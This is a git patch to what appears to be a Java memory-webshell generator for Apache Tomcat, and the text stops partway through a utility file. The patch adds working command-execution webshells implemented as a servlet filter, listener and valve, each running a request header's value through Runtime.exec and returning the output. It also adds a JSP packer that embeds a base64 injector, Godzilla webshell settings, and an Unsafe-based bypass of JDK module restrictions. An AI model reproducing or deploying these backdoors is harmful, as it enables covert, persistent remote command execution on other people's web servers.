From a06eb2f86936b8315cf353ee254f06c77e94452e Mon Sep 17 00:00:00 2001 From: ReaJason Date: Wed, 27 Nov 2024 00:35:35 +0800 Subject: [PATCH] feat: support tomcat cmd shell and jsp packer --- .../com/reajason/javaweb/GeneratorMain.java | 55 ++++++++ .../javaweb/config/CommandShellConfig.java | 18 +++ .../javaweb/config/GenerateResult.java | 27 ++++ .../javaweb/config/GodzillaShellConfig.java | 25 ++++ .../reajason/javaweb/config/ShellConfig.java | 25 ++++ .../reajason/javaweb/config/TomcatShell.java | 41 ------ .../javaweb/memsell/CommandGenerator.java | 28 +++++ .../javaweb/memsell/GodzillaGenerator.java | 2 +- .../javaweb/memsell/InjectorGenerator.java | 3 +- .../javaweb/memsell/packer/JspPacker.java | 24 ++++ .../javaweb/memsell/packer/Packer.java | 11 ++ .../javaweb/memsell/tomcat/TomcatShell.java | 106 ++++++++++++++++ .../memsell/tomcat/command/CommandFilter.java | 48 +++++++ .../tomcat/command/CommandJakartaFilter.java | 40 ++++++ .../command/CommandJakartaListener.java | 70 +++++++++++ .../tomcat/command/CommandListener.java | 74 +++++++++++ .../memsell/tomcat/command/CommandValve.java | 62 +++++++++ .../tomcat/godzilla/GodzillaFilter.java | 1 - .../com/reajason/javaweb/util/ClassUtils.java | 26 +++- .../com/reajason/javaweb/util/CommonUtil.java | 40 ++++++ .../javaweb/GodzillaConnectionTest.java | 118 ++++++++++++++++++ .../memsell/GodzillaGeneratorTest.java | 4 +- .../javaweb/memsell/packer/JspPackerTest.java | 23 ++++ .../tomcat/command/CommandFilterTest.java | 26 ++++ .../tomcat/godzilla/GodzillaFilterTest.java | 4 +- .../godzilla/GodzillaJakartaFilterTest.java | 4 +- .../godzilla/GodzillaJakartaListenerTest.java | 4 +- .../tomcat/godzilla/GodzillaListenerTest.java | 4 +- .../tomcat/godzilla/GodzillaValveTest.java | 3 +- .../injector/TomcatFilterInjectorTest.java | 16 ++- .../injector/TomcatListenerInjectorTest.java | 6 +- .../injector/TomcatValveInjectorTest.java | 3 +- 32 files changed, 867 insertions(+), 74 deletions(-) create mode 100644 generator/src/main/java/com/reajason/javaweb/GeneratorMain.java create mode 100644 generator/src/main/java/com/reajason/javaweb/config/CommandShellConfig.java create mode 100644 generator/src/main/java/com/reajason/javaweb/config/GenerateResult.java create mode 100644 generator/src/main/java/com/reajason/javaweb/config/GodzillaShellConfig.java create mode 100644 generator/src/main/java/com/reajason/javaweb/config/ShellConfig.java delete mode 100644 generator/src/main/java/com/reajason/javaweb/config/TomcatShell.java create mode 100644 generator/src/main/java/com/reajason/javaweb/memsell/CommandGenerator.java create mode 100644 generator/src/main/java/com/reajason/javaweb/memsell/packer/JspPacker.java create mode 100644 generator/src/main/java/com/reajason/javaweb/memsell/packer/Packer.java create mode 100644 generator/src/main/java/com/reajason/javaweb/memsell/tomcat/TomcatShell.java create mode 100644 generator/src/main/java/com/reajason/javaweb/memsell/tomcat/command/CommandFilter.java create mode 100644 generator/src/main/java/com/reajason/javaweb/memsell/tomcat/command/CommandJakartaFilter.java create mode 100644 generator/src/main/java/com/reajason/javaweb/memsell/tomcat/command/CommandJakartaListener.java create mode 100644 generator/src/main/java/com/reajason/javaweb/memsell/tomcat/command/CommandListener.java create mode 100644 generator/src/main/java/com/reajason/javaweb/memsell/tomcat/command/CommandValve.java create mode 100644 generator/src/test/java/com/reajason/javaweb/GodzillaConnectionTest.java create mode 100644 generator/src/test/java/com/reajason/javaweb/memsell/packer/JspPackerTest.java create mode 100644 generator/src/test/java/com/reajason/javaweb/memsell/tomcat/command/CommandFilterTest.java diff --git a/generator/src/main/java/com/reajason/javaweb/GeneratorMain.java b/generator/src/main/java/com/reajason/javaweb/GeneratorMain.java new file mode 100644 index 00000000..2f3335b4 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/GeneratorMain.java @@ -0,0 +1,55 @@ +package com.reajason.javaweb; + +import com.reajason.javaweb.config.*; +import com.reajason.javaweb.memsell.packer.JspPacker; +import com.reajason.javaweb.memsell.tomcat.TomcatShell; + +import java.io.IOException; +import java.nio.file.Files; +import java.nio.file.Paths; + +/** + * @author ReaJason + * @since 2024/11/24 + */ +public class GeneratorMain { + public static void main(String[] args) throws IOException { + Server server = Server.TOMCAT; + ShellTool shellTool = ShellTool.Godzilla; + String shellType = TomcatShell.FILTER; + GodzillaShellConfig shellConfig = GodzillaShellConfig.builder() + .pass("pass") + .key("key") + .headerName("User-Agent") + .headerValue("test") + .build(); + GenerateResult generateResult = generate(server, shellTool, shellType, shellConfig); + if (generateResult != null) { + String shellBytesBase64Str = generateResult.getShellBytesBase64Str(); + String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str(); + Files.write(Paths.get(shellConfig.getShellClassName() + ".class"), generateResult.getShellBytes()); + System.out.println(shellConfig.getShellClassName() + " : " + shellBytesBase64Str); + System.out.println(shellConfig.getInjectorClassName() + " : " + injectorBytesBase64Str); + System.out.println(shellConfig); + JspPacker jspPacker = new JspPacker(); + String jspContent = new String(jspPacker.pack(generateResult)); + System.out.println(jspContent); + } + } + + public static GenerateResult generate(Server server, ShellTool shellTool, String shellType, ShellConfig shellConfig) { + switch (server) { + case TOMCAT: + return TomcatShell.generate(shellTool, shellType, shellConfig); + case BES: + break; + case RESIN: + break; + case JETTY: + break; + default: + throw new IllegalArgumentException("Unsupported server"); + } + return GenerateResult.builder().build(); + } +} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/config/CommandShellConfig.java b/generator/src/main/java/com/reajason/javaweb/config/CommandShellConfig.java new file mode 100644 index 00000000..ba339819 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/config/CommandShellConfig.java @@ -0,0 +1,18 @@ +package com.reajason.javaweb.config; + +import lombok.Builder; +import lombok.Getter; +import lombok.ToString; +import lombok.experimental.SuperBuilder; + +/** + * @author ReaJason + * @since 2024/11/24 + */ +@Getter +@SuperBuilder +@ToString +public class CommandShellConfig extends ShellConfig { + @Builder.Default + private String headerName = "cmd"; +} diff --git a/generator/src/main/java/com/reajason/javaweb/config/GenerateResult.java b/generator/src/main/java/com/reajason/javaweb/config/GenerateResult.java new file mode 100644 index 00000000..cc995628 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/config/GenerateResult.java @@ -0,0 +1,27 @@ +package com.reajason.javaweb.config; + +import lombok.Builder; +import lombok.Data; +import org.apache.commons.codec.binary.Base64; + +/** + * @author ReaJason + * @since 2024/11/24 + */ +@Data +@Builder +public class GenerateResult { + private String shellClassName; + private transient byte[] shellBytes; + private String shellBytesBase64Str; + private String injectorClassName; + private transient byte[] injectorBytes; + private String injectorBytesBase64Str; + private ShellConfig shellConfig; + + public GenerateResult encodeBase64() { + this.shellBytesBase64Str = Base64.encodeBase64String(shellBytes); + this.injectorBytesBase64Str = Base64.encodeBase64String(injectorBytes); + return this; + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/config/GodzillaShellConfig.java b/generator/src/main/java/com/reajason/javaweb/config/GodzillaShellConfig.java new file mode 100644 index 00000000..e7e45670 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/config/GodzillaShellConfig.java @@ -0,0 +1,25 @@ +package com.reajason.javaweb.config; + +import com.reajason.javaweb.util.CommonUtil; +import lombok.*; +import lombok.experimental.SuperBuilder; + +/** + * @author ReaJason + * @since 2024/11/24 + */ +@Getter +@SuperBuilder +@NoArgsConstructor +@AllArgsConstructor +@ToString +public class GodzillaShellConfig extends ShellConfig { + @Builder.Default + private String pass = "pass"; + @Builder.Default + private String key = "key"; + @Builder.Default + private String headerName = "User-Agent"; + @Builder.Default + private String headerValue = CommonUtil.getRandomString(8); +} diff --git a/generator/src/main/java/com/reajason/javaweb/config/ShellConfig.java b/generator/src/main/java/com/reajason/javaweb/config/ShellConfig.java new file mode 100644 index 00000000..10d16131 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/config/ShellConfig.java @@ -0,0 +1,25 @@ +package com.reajason.javaweb.config; + +import com.reajason.javaweb.util.CommonUtil; +import lombok.AllArgsConstructor; +import lombok.Builder; +import lombok.Data; +import lombok.NoArgsConstructor; +import lombok.experimental.SuperBuilder; + +/** + * @author ReaJason + * @since 2024/11/24 + */ +@Data +@SuperBuilder +@NoArgsConstructor +@AllArgsConstructor +public class ShellConfig { + @Builder.Default + private String shellClassName = CommonUtil.generateShellClassName(); + @Builder.Default + private String injectorClassName = CommonUtil.generateInjectorClassName(); + @Builder.Default + private String urlPattern = "/*"; +} diff --git a/generator/src/main/java/com/reajason/javaweb/config/TomcatShell.java b/generator/src/main/java/com/reajason/javaweb/config/TomcatShell.java deleted file mode 100644 index 9389a629..00000000 --- a/generator/src/main/java/com/reajason/javaweb/config/TomcatShell.java +++ /dev/null @@ -1,41 +0,0 @@ -package com.reajason.javaweb.config; - -import com.reajason.javaweb.memsell.tomcat.godzilla.GodzillaFilter; -import lombok.Getter; - -/** - * @author ReaJason - * @since 2024/11/22 - */ -public class TomcatShell { - public static final String SERVLET = "servlet"; - public static final String JAKARTA_SERVLET = "jakartaServlet"; - public static final String FILTER = "filter"; - public static final String JAKARTA_FILTER = "jakartaFilter"; - public static final String LISTENER = "listener"; - public static final String JAKARTA_LISTENER = "jakartaListener"; - public static final String WEBSOCKET = "websocket"; - public static final String VALVE = "valve"; - public static final String UPGRADE = "upgrade"; - public static final String EXECUTOR = "executor"; - - - @Getter - public static enum Godzilla { - - /** - * Tomcat Filter - */ - Filter(TomcatShell.FILTER, GodzillaFilter.class), - ; - - Godzilla(String shellType, Class shellClass) { - this.shellClass = shellClass; - this.shellType = shellType; - } - - private final String shellType; - private final Class shellClass; - - } -} diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/CommandGenerator.java b/generator/src/main/java/com/reajason/javaweb/memsell/CommandGenerator.java new file mode 100644 index 00000000..6a124cdd --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memsell/CommandGenerator.java @@ -0,0 +1,28 @@ +package com.reajason.javaweb.memsell; + +import net.bytebuddy.ByteBuddy; +import net.bytebuddy.dynamic.DynamicType; +import net.bytebuddy.implementation.FieldAccessor; +import net.bytebuddy.implementation.Implementation; +import net.bytebuddy.implementation.SuperMethodCall; +import net.bytebuddy.matcher.ElementMatchers; + +/** + * @author ReaJason + * @since 2024/11/24 + */ +public class CommandGenerator { + + public static byte[] generate(Class commandClass, String commandClassName, String headerName) { + Implementation.Composable fieldSets = SuperMethodCall.INSTANCE + .andThen(FieldAccessor.ofField("headerName").setsValue(headerName)); + try (DynamicType.Unloaded make = new ByteBuddy() + .redefine(commandClass) + .name(commandClassName) + .constructor(ElementMatchers.any()) + .intercept(fieldSets) + .make()) { + return make.getBytes(); + } + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/GodzillaGenerator.java b/generator/src/main/java/com/reajason/javaweb/memsell/GodzillaGenerator.java index e12cb959..5b7253c7 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/GodzillaGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/GodzillaGenerator.java @@ -14,7 +14,7 @@ import org.apache.commons.codec.digest.DigestUtils; */ public class GodzillaGenerator { - public byte[] generate(Class godzillaClass, String godzillaClassName, + public static byte[] generate(Class godzillaClass, String godzillaClassName, String pass, String key, String headerName, String headerValue) { String md5Key = DigestUtils.md5Hex(key).substring(0, 16); diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/InjectorGenerator.java b/generator/src/main/java/com/reajason/javaweb/memsell/InjectorGenerator.java index d1aaad4f..7ae7f3f1 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/InjectorGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/InjectorGenerator.java @@ -6,7 +6,6 @@ import net.bytebuddy.ByteBuddy; import net.bytebuddy.dynamic.DynamicType; import net.bytebuddy.implementation.FixedValue; import org.apache.commons.codec.binary.Base64; -import org.apache.commons.lang3.StringUtils; import java.util.Objects; @@ -19,7 +18,7 @@ import static net.bytebuddy.matcher.ElementMatchers.named; public class InjectorGenerator { @SneakyThrows - public byte[] generate(Class injectClass, String injectClassName, String shellClassName, byte[] shellBytes, String urlPattern) { + public static byte[] generate(Class injectClass, String injectClassName, String shellClassName, byte[] shellBytes, String urlPattern) { String base64String = Base64.encodeBase64String(CommonUtil.gzipCompress(shellBytes)).replace(System.lineSeparator(), "");; try (DynamicType.Unloaded make = new ByteBuddy() .redefine(injectClass) diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/packer/JspPacker.java b/generator/src/main/java/com/reajason/javaweb/memsell/packer/JspPacker.java new file mode 100644 index 00000000..f2995284 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memsell/packer/JspPacker.java @@ -0,0 +1,24 @@ +package com.reajason.javaweb.memsell.packer; + +import com.reajason.javaweb.config.GenerateResult; +import lombok.SneakyThrows; +import org.apache.commons.io.IOUtils; + +import java.nio.charset.Charset; +import java.util.Objects; + +/** + * @author ReaJason + * @since 2024/11/26 + */ +public class JspPacker implements Packer { + + @Override + @SneakyThrows + public byte[] pack(GenerateResult generateResult) { + String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str(); + String injectorClassName = generateResult.getInjectorClassName(); + String jspTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell.jsp")), Charset.defaultCharset()); + return jspTemplate.replace("{{className}}", injectorClassName).replace("{{base64Str}}", injectorBytesBase64Str).getBytes(); + } +} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/packer/Packer.java b/generator/src/main/java/com/reajason/javaweb/memsell/packer/Packer.java new file mode 100644 index 00000000..e9a25b5d --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memsell/packer/Packer.java @@ -0,0 +1,11 @@ +package com.reajason.javaweb.memsell.packer; + +import com.reajason.javaweb.config.GenerateResult; + +/** + * @author ReaJason + * @since 2024/11/26 + */ +public interface Packer { + byte[] pack(GenerateResult generateResult); +} diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/TomcatShell.java b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/TomcatShell.java new file mode 100644 index 00000000..72bb7091 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/TomcatShell.java @@ -0,0 +1,106 @@ +package com.reajason.javaweb.memsell.tomcat; + +import com.reajason.javaweb.config.*; +import com.reajason.javaweb.memsell.CommandGenerator; +import com.reajason.javaweb.memsell.GodzillaGenerator; +import com.reajason.javaweb.memsell.InjectorGenerator; +import com.reajason.javaweb.memsell.tomcat.command.*; +import com.reajason.javaweb.memsell.tomcat.godzilla.*; +import com.reajason.javaweb.memsell.tomcat.injector.TomcatFilterInjector; +import com.reajason.javaweb.memsell.tomcat.injector.TomcatListenerInjector; +import com.reajason.javaweb.memsell.tomcat.injector.TomcatValveInjector; +import lombok.SneakyThrows; +import org.apache.commons.lang3.tuple.Pair; + +import java.util.HashMap; +import java.util.Map; + +/** + * @author ReaJason + * @since 2024/11/22 + */ +public class TomcatShell { + public static final String SERVLET = "Servlet"; + public static final String JAKARTA_SERVLET = "JakartaServlet"; + public static final String FILTER = "Filter"; + public static final String JAKARTA_FILTER = "JakartaFilter"; + public static final String LISTENER = "Listener"; + public static final String JAKARTA_LISTENER = "JakartaListener"; + public static final String WEBSOCKET = "Websocket"; + public static final String VALVE = "Valve"; + public static final String UPGRADE = "Upgrade"; + public static final String EXECUTOR = "Executor"; + + /** + * 哥斯拉 shell 生成的模板类以及注入器类 + */ + public static final Map, Class>> GODZILLA_SHELL_MAP = new HashMap<>(); + + static { + GODZILLA_SHELL_MAP.put(FILTER, Pair.of(GodzillaFilter.class, TomcatFilterInjector.class)); + GODZILLA_SHELL_MAP.put(JAKARTA_FILTER, Pair.of(GodzillaJakartaFilter.class, TomcatFilterInjector.class)); + GODZILLA_SHELL_MAP.put(LISTENER, Pair.of(GodzillaListener.class, TomcatListenerInjector.class)); + GODZILLA_SHELL_MAP.put(JAKARTA_LISTENER, Pair.of(GodzillaJakartaListener.class, TomcatListenerInjector.class)); + GODZILLA_SHELL_MAP.put(VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class)); + } + + /** + * 命令执行 shell 生成的模板类以及注入器类 + */ + public static final Map, Class>> COMMAND_SHELL_MAP = new HashMap<>(); + + static { + COMMAND_SHELL_MAP.put(FILTER, Pair.of(CommandFilter.class, TomcatFilterInjector.class)); + COMMAND_SHELL_MAP.put(JAKARTA_FILTER, Pair.of(CommandJakartaFilter.class, TomcatFilterInjector.class)); + COMMAND_SHELL_MAP.put(LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class)); + COMMAND_SHELL_MAP.put(JAKARTA_LISTENER, Pair.of(CommandJakartaListener.class, TomcatListenerInjector.class)); + COMMAND_SHELL_MAP.put(VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class)); + } + + @SneakyThrows + public static GenerateResult generate(ShellTool shellTool, String shellType, ShellConfig shellConfig) { + if (shellTool == null || shellType == null || shellConfig == null) { + throw new IllegalArgumentException("Invalid arguments: shellTool, shellType, and shellConfig cannot be null."); + } + Pair, Class> classPair; + byte[] shellBytes; + switch (shellTool) { + case Godzilla: { + classPair = GODZILLA_SHELL_MAP.get(shellType); + GodzillaShellConfig godzillaConfig = (GodzillaShellConfig) shellConfig; + shellBytes = GodzillaGenerator.generate(classPair.getLeft(), + godzillaConfig.getShellClassName(), + godzillaConfig.getPass(), + godzillaConfig.getKey(), + godzillaConfig.getHeaderName(), + godzillaConfig.getHeaderValue()); + break; + } + case CMD: { + classPair = COMMAND_SHELL_MAP.get(shellType); + CommandShellConfig commandConfig = (CommandShellConfig) shellConfig; + shellBytes = CommandGenerator.generate(classPair.getLeft(), + commandConfig.getShellClassName(), + commandConfig.getHeaderName()); + break; + } + default: + throw new UnsupportedOperationException("Unknown shell tool: " + shellTool); + } + + Class injectorClass = classPair.getRight(); + byte[] injectorBytes = InjectorGenerator.generate(injectorClass, + shellConfig.getInjectorClassName(), + shellConfig.getShellClassName(), + shellBytes, + shellConfig.getUrlPattern()); + + return GenerateResult.builder() + .shellClassName(shellConfig.getShellClassName()) + .shellBytes(shellBytes) + .injectorClassName(shellConfig.getInjectorClassName()) + .injectorBytes(injectorBytes) + .shellConfig(shellConfig) + .build().encodeBase64(); + } +} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/command/CommandFilter.java b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/command/CommandFilter.java new file mode 100644 index 00000000..b2b5564a --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/command/CommandFilter.java @@ -0,0 +1,48 @@ +package com.reajason.javaweb.memsell.tomcat.command; + +import javax.servlet.*; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; +import java.io.InputStream; + +/** + * @author ReaJason + * @since 2024/11/24 + */ +public class CommandFilter implements Filter { + public String headerName; + + @Override + public void init(FilterConfig filterConfig) throws ServletException { + + } + + @Override + public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { + HttpServletRequest servletRequest = (HttpServletRequest) request; + HttpServletResponse servletResponse = (HttpServletResponse) response; + String cmd = servletRequest.getHeader(headerName); + try { + if (cmd != null) { + Process exec = Runtime.getRuntime().exec(cmd); + InputStream inputStream = exec.getInputStream(); + ServletOutputStream outputStream = servletResponse.getOutputStream(); + byte[] buf = new byte[8192]; + int length; + while ((length = inputStream.read(buf)) != -1) { + outputStream.write(buf, 0, length); + } + } else { + chain.doFilter(servletRequest, servletResponse); + } + } catch (Exception e) { + chain.doFilter(servletRequest, servletResponse); + } + } + + @Override + public void destroy() { + + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/command/CommandJakartaFilter.java b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/command/CommandJakartaFilter.java new file mode 100644 index 00000000..ff5be115 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/command/CommandJakartaFilter.java @@ -0,0 +1,40 @@ +package com.reajason.javaweb.memsell.tomcat.command; + +import jakarta.servlet.*; +import jakarta.servlet.http.HttpServletRequest; +import jakarta.servlet.http.HttpServletResponse; + +import java.io.IOException; +import java.io.InputStream; + +/** + * @author ReaJason + * @since 2024/11/24 + */ +public class CommandJakartaFilter implements Filter { + public String headerName; + + @Override + public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { + HttpServletRequest servletRequest = (HttpServletRequest) request; + HttpServletResponse servletResponse = (HttpServletResponse) response; + String cmd = servletRequest.getHeader(headerName); + try { + if (cmd != null) { + Process exec = Runtime.getRuntime().exec(cmd); + InputStream inputStream = exec.getInputStream(); + ServletOutputStream outputStream = servletResponse.getOutputStream(); + byte[] buf = new byte[8192]; + int length; + while ((length = inputStream.read(buf)) != -1) { + outputStream.write(buf, 0, length); + } + } else { + chain.doFilter(servletRequest, servletResponse); + } + } catch (Exception e) { + chain.doFilter(servletRequest, servletResponse); + } + } + +} diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/command/CommandJakartaListener.java b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/command/CommandJakartaListener.java new file mode 100644 index 00000000..93ce8442 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/command/CommandJakartaListener.java @@ -0,0 +1,70 @@ +package com.reajason.javaweb.memsell.tomcat.command; + +import jakarta.servlet.ServletOutputStream; +import jakarta.servlet.ServletRequestEvent; +import jakarta.servlet.ServletRequestListener; +import jakarta.servlet.http.HttpServletRequest; +import jakarta.servlet.http.HttpServletResponse; + +import java.io.InputStream; +import java.lang.reflect.Field; + +/** + * @author ReaJason + */ +public class CommandJakartaListener implements ServletRequestListener { + public String headerName; + + public CommandJakartaListener() { + } + + @Override + public void requestInitialized(ServletRequestEvent servletRequestEvent) { + HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); + try { + String cmd = request.getHeader(headerName); + if (cmd != null) { + HttpServletResponse servletResponse = this.getResponseFromRequest(request); + Process exec = Runtime.getRuntime().exec(cmd); + InputStream inputStream = exec.getInputStream(); + ServletOutputStream outputStream = servletResponse.getOutputStream(); + byte[] buf = new byte[8192]; + int length; + while ((length = inputStream.read(buf)) != -1) { + outputStream.write(buf, 0, length); + } + } + } catch (Exception ignored) { + } + } + + private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { + HttpServletResponse response = null; + try { + response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response"); + } catch (Exception e) { + response = (HttpServletResponse) getFieldValue(request, "response"); + } + return response; + } + + @SuppressWarnings("all") + public static synchronized Object getFieldValue(Object obj, String name) throws Exception { + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField(name); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field == null) { + throw new NoSuchFieldException(name); + } else { + field.setAccessible(true); + return field.get(obj); + } + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/command/CommandListener.java b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/command/CommandListener.java new file mode 100644 index 00000000..ee464602 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/command/CommandListener.java @@ -0,0 +1,74 @@ +package com.reajason.javaweb.memsell.tomcat.command; + +import javax.servlet.ServletOutputStream; +import javax.servlet.ServletRequestEvent; +import javax.servlet.ServletRequestListener; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.InputStream; +import java.lang.reflect.Field; + +/** + * @author ReaJason + */ +public class CommandListener implements ServletRequestListener { + public String headerName; + + public CommandListener() { + } + + @Override + public void requestDestroyed(ServletRequestEvent sre) { + + } + + @Override + public void requestInitialized(ServletRequestEvent servletRequestEvent) { + HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); + try { + String cmd = request.getHeader(headerName); + if (cmd != null) { + HttpServletResponse servletResponse = this.getResponseFromRequest(request); + Process exec = Runtime.getRuntime().exec(cmd); + InputStream inputStream = exec.getInputStream(); + ServletOutputStream outputStream = servletResponse.getOutputStream(); + byte[] buf = new byte[8192]; + int length; + while ((length = inputStream.read(buf)) != -1) { + outputStream.write(buf, 0, length); + } + } + } catch (Exception ignored) { + } + } + + private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { + HttpServletResponse response = null; + try { + response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response"); + } catch (Exception e) { + response = (HttpServletResponse) getFieldValue(request, "response"); + } + return response; + } + + @SuppressWarnings("all") + public static synchronized Object getFieldValue(Object obj, String name) throws Exception { + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField(name); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field == null) { + throw new NoSuchFieldException(name); + } else { + field.setAccessible(true); + return field.get(obj); + } + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/command/CommandValve.java b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/command/CommandValve.java new file mode 100644 index 00000000..2766eaea --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/command/CommandValve.java @@ -0,0 +1,62 @@ +package com.reajason.javaweb.memsell.tomcat.command; + +import org.apache.catalina.Valve; +import org.apache.catalina.connector.Request; +import org.apache.catalina.connector.Response; + +import javax.servlet.ServletException; +import javax.servlet.ServletOutputStream; +import java.io.IOException; +import java.io.InputStream; + +/** + * @author ReaJason + */ +public class CommandValve implements Valve { + protected Valve next; + protected boolean asyncSupported; + public String headerName; + + public CommandValve() { + } + + @Override + public Valve getNext() { + return this.next; + } + + @Override + public void setNext(Valve valve) { + this.next = valve; + } + + @Override + public boolean isAsyncSupported() { + return this.asyncSupported; + } + + @Override + public void backgroundProcess() { + } + + @Override + public void invoke(Request request, Response response) throws IOException, ServletException { + try { + String cmd = request.getHeader(headerName); + if (cmd != null) { + Process exec = Runtime.getRuntime().exec(cmd); + InputStream inputStream = exec.getInputStream(); + ServletOutputStream outputStream = response.getOutputStream(); + byte[] buf = new byte[8192]; + int length; + while ((length = inputStream.read(buf)) != -1) { + outputStream.write(buf, 0, length); + } + } else { + this.getNext().invoke(request, response); + } + } catch (Exception e) { + this.getNext().invoke(request, response); + } + } +} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaFilter.java b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaFilter.java index b7e79483..e9cb365c 100755 --- a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaFilter.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaFilter.java @@ -77,7 +77,6 @@ public class GodzillaFilter extends ClassLoader implements Filter { } catch (Exception e) { chain.doFilter(servletRequest, servletResponse); } - } @Override diff --git a/generator/src/main/java/com/reajason/javaweb/util/ClassUtils.java b/generator/src/main/java/com/reajason/javaweb/util/ClassUtils.java index e77f5398..b492deed 100644 --- a/generator/src/main/java/com/reajason/javaweb/util/ClassUtils.java +++ b/generator/src/main/java/com/reajason/javaweb/util/ClassUtils.java @@ -12,10 +12,15 @@ import java.lang.reflect.Method; public class ClassUtils { @SneakyThrows - public static Object newInstance(byte[] bytes) { + public static Class defineClass(byte[] bytes) { Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(ClassUtils.class.getClassLoader(), bytes, 0, bytes.length); + return (Class) defineClass.invoke(ClassUtils.class.getClassLoader(), bytes, 0, bytes.length); + } + + @SneakyThrows + public static Object newInstance(byte[] bytes) { + Class clazz = defineClass(bytes); return clazz.newInstance(); } @@ -32,4 +37,21 @@ public class ClassUtils { method.setAccessible(true); return method.invoke(object, parameters); } + + public static void byPassJdkModule() { + try { + Class unsafeClass = Class.forName("sun.misc.Unsafe"); + java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe"); + unsafeField.setAccessible(true); + Object unsafe = unsafeField.get(null); + java.lang.reflect.Method getModuleM = Class.class.getMethod("getModule"); + Object module = getModuleM.invoke(Object.class, (Object[]) null); + java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class); + java.lang.reflect.Field moduleF = Class.class.getDeclaredField("module"); + Long offset = (Long) objectFieldOffsetM.invoke(unsafe, moduleF); + java.lang.reflect.Method getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class); + getAndSetObjectM.invoke(unsafe, ClassUtils.class, offset, module); + } catch (Exception ignored) { + } + } } \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/util/CommonUtil.java b/generator/src/main/java/com/reajason/javaweb/util/CommonUtil.java index c7a61ea2..36cc5498 100644 --- a/generator/src/main/java/com/reajason/javaweb/util/CommonUtil.java +++ b/generator/src/main/java/com/reajason/javaweb/util/CommonUtil.java @@ -2,6 +2,8 @@ package com.reajason.javaweb.util; import java.io.ByteArrayOutputStream; import java.io.IOException; +import java.security.SecureRandom; +import java.util.Random; import java.util.zip.GZIPOutputStream; /** @@ -15,4 +17,42 @@ public class CommonUtil { } return out.toByteArray(); } + + public static String getRandomString(int length) { + String str = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; + SecureRandom random = new SecureRandom(); + StringBuilder sb = new StringBuilder(); + for (int i = 